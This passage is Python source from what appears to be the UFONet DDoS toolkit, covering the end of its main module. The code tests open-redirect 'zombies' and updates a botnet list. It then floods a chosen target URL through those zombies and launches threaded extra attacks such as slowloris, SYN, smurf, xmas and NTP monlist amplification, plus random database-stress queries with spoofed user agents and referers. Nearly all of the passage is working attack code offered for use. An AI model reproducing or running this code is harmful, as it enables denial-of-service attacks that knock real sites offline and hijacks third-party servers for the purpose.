  4092. num_failed_zombies = num_failed_zombies + 1
  4093. print('-'*10)
  4094. self.herd.reset()
  4095. print('='*18)
  4096. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4097. print('='*18 + "\n")
  4098. print('='*22)
  4099. if num_active_zombies > 0:
  4100. # check url parameter vectors
  4101. print ("Checking for payloads:")
  4102. print('='*22)
  4103. print("Trying:", num_active_zombies)
  4104. print('-'*21)
  4105. zombies_ready = []
  4106. num_waiting_zombies = 0
  4107. if num_active_zombies == 0:
  4108. num_disconnected_zombies = num_failed_zombies
  4109. else:
  4110. num_disconnected_zombies = 0
  4111. for zombie in active_zombies:
  4112. zombie = str(zombie)
  4113. t = urlparse(zombie)
  4114. name_zombie = t.netloc
  4115. if name_zombie == "":
  4116. name_zombie = zombie
  4117. self.payload = True
  4118. self.connect_zombies(zombie)
  4119. self.payload = False
  4120. while self.herd.no_more_zombies() == False:
  4121. time.sleep(1)
  4122. for zombie in self.herd.done:
  4123. zombie = str(zombie)
  4124. t = urlparse(zombie)
  4125. name_zombie = t.netloc
  4126. if name_zombie == "":
  4127. name_zombie = zombie
  4128. payload_zombie = zombie
  4129. payload_reply = ""
  4130. print("Vector:", payload_zombie)
  4131. self.payload = True
  4132. if self.herd.get_result(zombie):
  4133. payload_reply = self.herd.get_result(zombie)
  4134. self.payload = False
  4135. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4136. num_waiting_zombies = num_waiting_zombies + 1
  4137. print("Status:", "Waiting for orders... ;-)")
  4138. zombies_ready.append(zombie)
  4139. else:
  4140. num_disconnected_zombies = num_disconnected_zombies + 1
  4141. print("Status:", "Not ready...")
  4142. army = army + 1
  4143. print('-'*10)
  4144. self.herd.reset()
  4145. print('='*18)
  4146. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4147. print('='*18 + "\n")
  4148. # list of [Zombies] ready to attack
  4149. num_active_zombie = 0
  4150. for z in zombies_ready:
  4151. t = urlparse(z)
  4152. name_zombie = t.netloc
  4153. if name_zombie == "":
  4154. name_zombie = z
  4155. num_active_zombie = num_active_zombie + 1
  4156. if self.options.verbose:
  4157. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4158. if self.options.testall: # testing_all
  4159. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4160. else:
  4161. print('-'*25 + "\n")
  4162. print('='*24)
  4163. print("Working [Zombies]:", num_active_zombie)
  4164. print('='*24)
  4165. if not self.options.forceyes:
  4166. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4167. print('-'*25)
  4168. else:
  4169. update_reply = "Y"
  4170. if update_reply == "n" or update_reply == "N":
  4171. print("[AI] "+self.exit_msg+"\n")
  4172. return
  4173. else:
  4174. self.update_zombies(zombies_ready)
  4175. if not self.options.upload:
  4176. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4177. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4178. else:
  4179. print('-'*25 + "\n")
  4180. print('='*24)
  4181. print("Working [Zombies]:", num_active_zombies)
  4182. print('='*24)
  4183. print("\n[Info] [AI] [Zombies] aren't replying to your HEAD check! -> [Exiting!]\n")
  4184. def testing_all(self):
  4185. # test whole botnet
  4186. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4187. print('='*35)
  4188. zombies = self.extract_zombies()
  4189. rpcs = self.extract_rpcs()
  4190. aliens = self.extract_aliens()
  4191. droids = self.extract_droids()
  4192. ucavs = self.extract_ucavs()
  4193. try:
  4194. botnet = zombies + rpcs + aliens + droids + ucavs
  4195. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4196. except:
  4197. return
  4198. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4199. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4200. print("\n" + '='*52)
  4201. print("\n+ Total Botnet:", len(botnet))
  4202. print("\n" + '-'*25)
  4203. print("\n+ Total Tested:", len(tested_zombies))
  4204. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4205. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4206. print('='*52 + '\n')
  4207. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4208. if not self.options.forceyes:
  4209. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4210. print('-'*25)
  4211. else:
  4212. update_reply = "Y"
  4213. if update_reply == "n" or update_reply == "N":
  4214. print("[AI] "+self.exit_msg+"\n")
  4215. return
  4216. else:
  4217. if num_disconnected_zombies > 0:
  4218. self.update_zombies(zombies_ready)
  4219. if num_failed_rpcs > 0:
  4220. self.update_rpcs(rpcs_ready)
  4221. if not self.options.upload:
  4222. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4223. else:
  4224. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4225. def attacking(self, zombies, target):
  4226. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4227. if self.options.forcessl:
  4228. if target.startswith("http://"):
  4229. target = target.replace("http://", "https://") # force SSL/TLS
  4230. if target.startswith("http://") or target.startswith("https://"):
  4231. print("Attacking:", target)
  4232. print('='*55, "\n")
  4233. # send Open Redirect injection (multiple zombies > one target url)
  4234. reply = self.injection(target, zombies)
  4235. else:
  4236. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4237. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4238. # perform some other extra attacks (such as DoS techniques)
  4239. time.sleep(2) # aiming (multi-threading flow time compensation)
  4240. if loic:
  4241. try:
  4242. self.options.loic = int(loic)
  4243. except:
  4244. self.options.loic = 100 # default LOIC requests
  4245. if self.options.loic < 1:
  4246. self.options.loic = 100
  4247. self.instance = LOIC() # instance main class for LOIC operations
  4248. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4249. self.t1.daemon = True # extra weapons are threaded as daemons
  4250. self.t1.start()
  4251. self.update_loic_stats() # add new LOIC attack to mothership stats
  4252. if loris:
  4253. try:
  4254. self.options.loris = int(loris)
  4255. except:
  4256. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4257. if self.options.loris < 1:
  4258. self.options.loris = 101
  4259. self.instance = LORIS() # instance main class for LORIS operations
  4260. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4261. self.t2.daemon = True
  4262. self.t2.start()
  4263. self.update_loris_stats() # add new LORIS attack to mothership stats
  4264. if ufosyn:
  4265. try:
  4266. self.options.ufosyn = int(ufosyn)
  4267. except:
  4268. self.options.ufosyn = 100 # default UFOSYN requests
  4269. if self.options.ufosyn < 1:
  4270. self.options.ufosyn = 100
  4271. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4272. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4273. self.t3.daemon = True
  4274. self.t3.start()
  4275. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4276. if spray:
  4277. try:
  4278. self.options.spray = int(spray)
  4279. except:
  4280. self.options.spray = 100 # default SPRAY requests
  4281. if self.options.spray < 1:
  4282. self.options.spray = 100
  4283. self.instance = SPRAY() # instance main class for SPRAY operations
  4284. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4285. self.t4.daemon = True
  4286. self.t4.start()
  4287. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4288. if smurf:
  4289. try:
  4290. self.options.smurf = int(smurf)
  4291. except:
  4292. self.options.smurf = 101 # default SMURF requests
  4293. if self.options.smurf < 1:
  4294. self.options.smurf = 101
  4295. self.instance = SMURF() # instance main class for SMURF operations
  4296. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4297. self.t5.daemon = True
  4298. self.t5.start()
  4299. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4300. if xmas:
  4301. try:
  4302. self.options.xmas = int(xmas)
  4303. except:
  4304. self.options.xmas = 101 # default XMAS requests
  4305. if self.options.xmas < 1:
  4306. self.options.xmas = 101
  4307. self.instance = XMAS() # instance main class for XMAS operations
  4308. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4309. self.t6.daemon = True
  4310. self.t6.start()
  4311. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4312. if nuke:
  4313. if sys.platform == "linux" or sys.platform == "linux2":
  4314. try:
  4315. self.options.nuke = int(nuke)
  4316. except:
  4317. self.options.nuke = 10000 # default NUKE requests
  4318. if self.options.nuke < 1:
  4319. self.options.nuke = 10000
  4320. self.instance = NUKE() # instance main class for NUKE operations
  4321. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4322. self.t7.daemon = True # extra weapons are threaded as daemons
  4323. self.t7.start()
  4324. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4325. else:
  4326. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4327. if tachyon:
  4328. try:
  4329. self.options.tachyon = int(tachyon)
  4330. except:
  4331. self.options.tachyon = 1000 # default TACHYON requests
  4332. if self.options.tachyon < 1:
  4333. self.options.tachyon = 1000
  4334. self.instance = TACHYON() # instance main class for TACHYON operations
  4335. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4336. self.t8.daemon = True
  4337. self.t8.start()
  4338. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4339. if monlist:
  4340. try:
  4341. self.options.monlist = int(monlist)
  4342. except:
  4343. self.options.monlist = 1000 # default MONLIST requests
  4344. if self.options.monlist < 1:
  4345. self.options.monlist = 1000
  4346. self.instance = MONLIST() # instance main class for MONLIST operations
  4347. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4348. self.t9.daemon = True
  4349. self.t9.start()
  4350. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4351. def stressing(self, target, zombie):
  4352. # perform a DDoS Web attack against a target, requesting records on target's database
  4353. options = self.options
  4354. db_input = self.options.dbstress
  4355. def random_key(length):
  4356. key = ''
  4357. for i in range(length):
  4358. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4359. return key
  4360. # generating random alphanumeric queries
  4361. if self.db_flash > 9: # set db flash start on: 10
  4362. length = 1024 # search a heavy random length query (db flash): 1024
  4363. self.db_flash = 0 # reset db flash counter
  4364. else:
  4365. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4366. key = str(random_key(length))
  4367. if self.db_flash > 9:
  4368. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4369. else:
  4370. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4371. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4372. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4373. if not target.endswith('/'): # add "/" to end of target
  4374. target = target + "/"
  4375. url = zombie + target + db_input + key
  4376. req = urllib.request.Request(url, None, headers)
  4377. if options.proxy: # set proxy
  4378. self.proxy_transport(options.proxy)
  4379. try:
  4380. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4381. except urllib.error.HTTPError as e:
  4382. if e.code == 401:
  4383. print('[Info] [DBStress] Not authorized')
  4384. elif e.code == 404:
  4385. print('[Info] [DBStress] Not found')
  4386. elif e.code == 503:
  4387. print('[Info] [DBStress] Service unavailable')
  4388. else:
  4389. print('[Info] [DBStress] Unknown error')
  4390. else:
  4391. print('[Info] [DBStress] Database query: HIT!')
  4392. def attackme(self, zombies):
  4393. # perform a DDoS Web attack against yourself
  4394. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4395. print('='*21 + "\n")
  4396. self.doll=Doll(self)
  4397. self.doll.start()
  4398. while not self.doll._armed:
  4399. time.sleep(1)
  4400. # send Open Redirect injection (multiple zombies-multiple target urls)
  4401. target = ""
  4402. self.injection(target, zombies)
  4403. self.doll.shutdown()
  4404. self.doll.join()
  4405. self.herd.list_fails()
  4406. def check_target_status(self):
  4407. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4408. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4409. if not self.options.forceyes:
  4410. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4411. print("\n" + '-'*25)
  4412. else:
  4413. update_reply = "N"
  4414. if update_reply == "y" or update_reply == "Y":
  4415. try: # send HEAD connection
  4416. self.head = True
  4417. reply = self.connect_zombie(target)
  4418. self.head = False
  4419. if reply:
  4420. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4421. else:
  4422. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4423. self.update_targets_crashed() # update targets crashed stats
  4424. self.update_mothership_stats() # update mothership completed attack stats
  4425. except Exception:
  4426. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4427. if self.options.verbose:
  4428. traceback.print_exc()
  4429. return
  4430. else:
  4431. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4432. self.update_targets_crashed() # update targets crashed stats
  4433. self.update_mothership_stats() # update mothership completed attack stats
  4434. return
  4435. def starting_target_check(self, target, head_check):
  4436. options = self.options
  4437. head_check_here = False
  4438. head_check_external = False
  4439. if options.disablehead: # check at start is disabled (skipping!)
  4440. print("[Info] [AI] Skipping external check...\n")
  4441. head_check_here = True
  4442. head_check_external = True
  4443. else:
  4444. if head_check:
  4445. if not options.attackme:
  4446. print("[AI] Launching: 'Is target up?' check...\n")
  4447. try: # send HEAD connection
  4448. self.head = True
  4449. reply = self.connect_zombie(target)
  4450. self.head = False
  4451. if reply:
  4452. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4453. head_check_here = True
  4454. else:
  4455. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4456. head_check_here = False
  4457. except Exception:
  4458. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4459. if self.options.verbose:
  4460. traceback.print_exc()
  4461. head_check_here = False
  4462. else: # check if local IP/PORT is listening on mothership
  4463. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4464. try:
  4465. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4466. result = sock.connect_ex(('0.0.0.0',8080))
  4467. if result == 0 or result == 110: # black magic
  4468. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4469. head_check_here = True
  4470. else:
  4471. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4472. head_check_here = False
  4473. except Exception:
  4474. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4475. if self.options.verbose:
  4476. traceback.print_exc()
  4477. head_check_here = False
  4478. else:
  4479. head_check_here = True
  4480. # check target using external check services
  4481. self.external = True
  4482. if not options.attackme:
  4483. try:
  4484. try:
  4485. url = self.external_check_service1 + target # check from external service [1]
  4486. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4487. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4488. if options.proxy: # set proxy
  4489. self.proxy_transport(options.proxy)
  4490. req = urllib.request.Request(url, None, headers)
  4491. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4492. if "returned code 200 OK and is up".encode('utf-8') in external_reply:
  4493. t = urlparse(self.external_check_service1)
  4494. name_external1 = t.netloc
  4495. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4496. head_check_external = True
  4497. except:
  4498. url = self.external_check_service2 + target # check from external service [2]
  4499. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4500. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4501. if options.proxy: # set proxy
  4502. self.proxy_transport(options.proxy)
  4503. req = urllib.request.Request(url, None, headers)
  4504. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4505. if "It's just you" in req_reply:
  4506. t = urlparse(self.external_check_service2)
  4507. name_external2 = t.netloc
  4508. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4509. head_check_external = True
  4510. else:
  4511. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4512. head_check_external = False
  4513. except Exception:
  4514. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4515. if self.options.verbose:
  4516. traceback.print_exc()
  4517. head_check_external = False
  4518. else:
  4519. try: # check mothership from public ip / NAT using HEAD request
  4520. try:
  4521. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4522. reply = urllib.request.urlopen(req)
  4523. except Exception:
  4524. reply = None
  4525. if reply:
  4526. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4527. head_check_external = True
  4528. else:
  4529. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4530. head_check_external = False
  4531. head_check_here = False # stop attack if not public IP available
  4532. except Exception:
  4533. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4534. head_check_here = False # stop attack if not public IP available
  4535. if self.options.verbose:
  4536. traceback.print_exc()
  4537. head_check_external = False
  4538. self.external = False
  4539. return head_check_here, head_check_external
  4540. def injection(self, target, zombies, head_check = True):
  4541. options = self.options
  4542. # check target's integrity at start
  4543. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4544. # ask user to confirm the attack
  4545. if head_check_here == True or head_check_external == True:
  4546. if not self.options.forceyes:
  4547. if not options.attackme:
  4548. if not options.disablehead:
  4549. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4550. else:
  4551. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4552. else:
  4553. if not options.disablehead:
  4554. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4555. else:
  4556. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4557. else:
  4558. start_reply = "Y"
  4559. if start_reply == "y" or start_reply == "Y":
  4560. if options.attackme:
  4561. total_rounds = 2 # default rounds for attackme
  4562. else:
  4563. total_rounds = options.rounds # extract number of rounds
  4564. try:
  4565. total_rounds = int(total_rounds)
  4566. except:
  4567. total_rounds = 1
  4568. if not total_rounds:
  4569. total_rounds = 1
  4570. if total_rounds <= 0:
  4571. total_rounds = 1
  4572. self.herd.cleanup()
  4573. num_round = 1
  4574. num_hits = 0
  4575. num_zombie = 1
  4576. # start to attack the target with [MODS]
  4577. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4578. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4579. ex.daemon = True # extra weapons are threaded as daemons
  4580. ex.start()
  4581. # start to attack the target with [ARMY]
  4582. zombies = self.extract_zombies() # extract zombies from file
  4583. if zombies:
  4584. self.total_zombie = len(zombies)
  4585. else:
  4586. self.total_zombie = 0
  4587. return
  4588. self.herd=Herd(self)
  4589. if not self.options.disablepurge:
  4590. self.discardzombies = []
  4591. self.discard_aliens = []
  4592. self.discard_droids = []
  4593. self.discard_rpcs = []
  4594. self.discard_ucavs = []
  4595. total_disc_zombies = 0
  4596. self.num_discard_zombies = 0
  4597. self.num_discard_aliens = 0
  4598. self.num_discard_droids = 0
  4599. self.num_discard_rpcs = 0
  4600. self.num_discard_ucavs = 0
  4601. self.empty_zombies = False
  4602. for i in range(0, int(total_rounds)): # start attacking using rounds
  4603. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4604. print('='*42)
  4605. print('Starting round:', num_round, ' of ', total_rounds)
  4606. print('='*42)
  4607. self.herd.reset()
  4608. self.extra_zombies_lock = True
  4609. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4610. self.send_zombies(zombies) # send [Zombies]
  4611. if not self.options.attackme:
  4612. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4613. if self.options.verbose:
  4614. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4615. self.send_extra_zombies() # send [ARMY]
  4616. while self.extra_zombies_lock == True:
  4617. time.sleep(1) # wait for [ARMY] to return
  4618. if self.options.verbose:
  4619. print("\n" + '='*42)
  4620. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4621. else:
  4622. zombies_lock = 0
  4623. if self.options.expire: # set timing for purge
  4624. try:
  4625. timing = int(self.options.expire)
  4626. except:
  4627. timing = self.expire_timing # default timing for purge
  4628. else:
  4629. timing = self.expire_timing # default timing for purge
  4630. if timing < 1:
  4631. timing = self.expire_timing # default timing for purge
  4632. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4633. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4634. zombies_lock = zombies_lock + 1
  4635. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4636. if self.options.verbose:
  4637. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4638. break
  4639. else:
  4640. time.sleep(1)
  4641. if self.options.verbose:
  4642. print("\n" + '='*42)
  4643. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4644. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4645. self.check_target_status()
  4646. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4647. self.abandoning_zombies() # check for abandoning zombies
  4648. for zombie in self.herd.done: # check for num hits
  4649. if self.herd.connection_failed(zombie) == False:
  4650. num_hits = num_hits + 1
  4651. num_zombie = num_zombie + 1
  4652. if num_zombie > self.total_zombie:
  4653. num_zombie = 1
  4654. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4655. check_is_loading = self.check_is_loading(target)
  4656. self.herd.dump_html()
  4657. if not self.options.disablepurge:
  4658. if self.empty_zombies == True:
  4659. break # exit routine when not any more zombies
  4660. num_round = num_round + 1
  4661. if self.options.verbose:
  4662. print("\n" + '='*42)
  4663. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4664. if self.options.loic: # try to stop daemons/threads for extra weapons
  4665. self.t1.join()
  4666. if self.options.loris:
  4667. self.t2.join()
  4668. if self.options.ufosyn:
  4669. self.t3.join()
  4670. if self.options.spray:
  4671. self.t4.join()
  4672. if self.options.smurf:
  4673. self.t5.join()
  4674. if self.options.xmas:
  4675. self.t6.join()
  4676. if self.options.nuke:
  4677. self.t7.join()
  4678. if self.options.tachyon:
  4679. self.t8.join()
  4680. if self.options.monlist:
  4681. self.t9.join()
  4682. if self.options.target_list:
  4683. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4684. print ("\x1b[2J\x1b[H") # black magic
  4685. if not self.options.attackme: # show herd results
  4686. self.herd.dump()
  4687. else: # show doll results
  4688. print('='*21)
  4689. print("\n[Info] [AI] Mothership transmission...\n")
  4690. num_real_zombies = len(self.doll.real_zombies)
  4691. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4692. for z in self.doll.real_zombies: # show only alien verified zombies
  4693. for x in z:
  4694. print(" - " + str(x))
  4695. self.herd.dump_html(True) # show (all) zombies statistics
  4696. if not self.options.attackme:
  4697. if not self.options.disablepurge:
  4698. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4699. else:
  4700. if not options.target_list:
  4701. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4702. else:
  4703. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4704. self.update_mothership_stats() # update mothership stats
  4705. if not self.options.disablepurge:
  4706. print('='*21+ "\n")
  4707. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4708. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4709. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4710. elif total_disc_zombies > 1:
  4711. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4712. if self.num_discard_zombies > 0:
  4713. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4714. if self.num_discard_aliens > 0:
  4715. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4716. if self.num_discard_droids > 0:
  4717. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4718. if self.num_discard_rpcs > 0:
  4719. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4720. if self.num_discard_ucavs > 0:
  4721. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4722. if total_disc_zombies > 0:
  4723. if not self.options.forceyes:
  4724. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4725. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4726. elif total_disc_zombies > 1:
  4727. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4728. else:
  4729. backup_reply = "Y"
  4730. if backup_reply == "y" or backup_reply == "Y":
  4731. print("\n[Info] [AI] Purging failed units from files...\n")
  4732. discarded = []
  4733. if self.num_discard_zombies > 0:
  4734. for z in self.discardzombies:
  4735. discarded.append(z)
  4736. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4737. if self.num_discard_aliens > 0:
  4738. for a in self.discard_aliens:
  4739. discarded.append(a)
  4740. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4741. if self.num_discard_droids > 0:
  4742. for d in self.discard_droids:
  4743. discarded.append(d)
  4744. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4745. if self.num_discard_rpcs > 0:
  4746. for r in self.discard_rpcs:
  4747. discarded.append(r)
  4748. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4749. if self.num_discard_ucavs > 0:
  4750. for u in self.discard_ucavs:
  4751. discarded.append(u)
  4752. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4753. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4754. if disc_zombies > 0 and disc_zombies < 2:
  4755. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4756. elif disc_zombies > 1:
  4757. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4758. if not self.options.target_list:
  4759. print('-'*21+ "\n")
  4760. print("[AI] "+self.exit_msg+"\n")
  4761. if not self.options.web:
  4762. return
  4763. else:
  4764. if self.num_target_list > 0: # still more targets
  4765. print('-'*21+ "\n")
  4766. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4767. return
  4768. else: # finish attack from multiple targets
  4769. print('-'*21+ "\n")
  4770. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4771. print("\n"+ '='*21+ "\n")
  4772. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4773. print("\n"+ '-'*21+ "\n")
  4774. print("[AI] "+self.exit_msg+"\n")
  4775. if not self.options.web:
  4776. return
  4777. else:
  4778. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4779. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4780. if os.path.exists('mothership') == True:
  4781. os.remove('mothership') # remove mothership stream
  4782. if os.path.exists('alien') == True:
  4783. os.remove('alien') # remove random alien worker
  4784. if not options.web:
  4785. sys.exit(2) # exit
  4786. else:
  4787. return
  4788. else:
  4789. print("\n" + '='*21)
  4790. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4791. if AI_reply == "y" or AI_reply == "Y":
  4792. self.AI() # AI fortune cookie
  4793. print('-'*21+ "\n")
  4794. print("\n[AI] "+self.exit_msg+"\n")
  4795. if os.path.exists('mothership') == True:
  4796. os.remove('mothership') # remove mothership stream
  4797. if os.path.exists('alien') == True:
  4798. os.remove('alien') # remove random alien worker
  4799. if not options.web:
  4800. sys.exit(2) # exit
  4801. else:
  4802. return
  4803. else:
  4804. if not options.attackme:
  4805. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4806. else:
  4807. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4808. print("\n" + '-'*21)
  4809. print("\n[AI] "+self.exit_msg+"\n")
  4810. if os.path.exists('mothership') == True:
  4811. os.remove('mothership') # remove mothership stream
  4812. if os.path.exists('alien') == True:
  4813. os.remove('alien') # remove random alien worker
  4814. return
  4815. if __name__ == "__main__":
  4816. app = UFONet()
  4817. options = app.create_options()
  4818. if options:
  4819. app.run()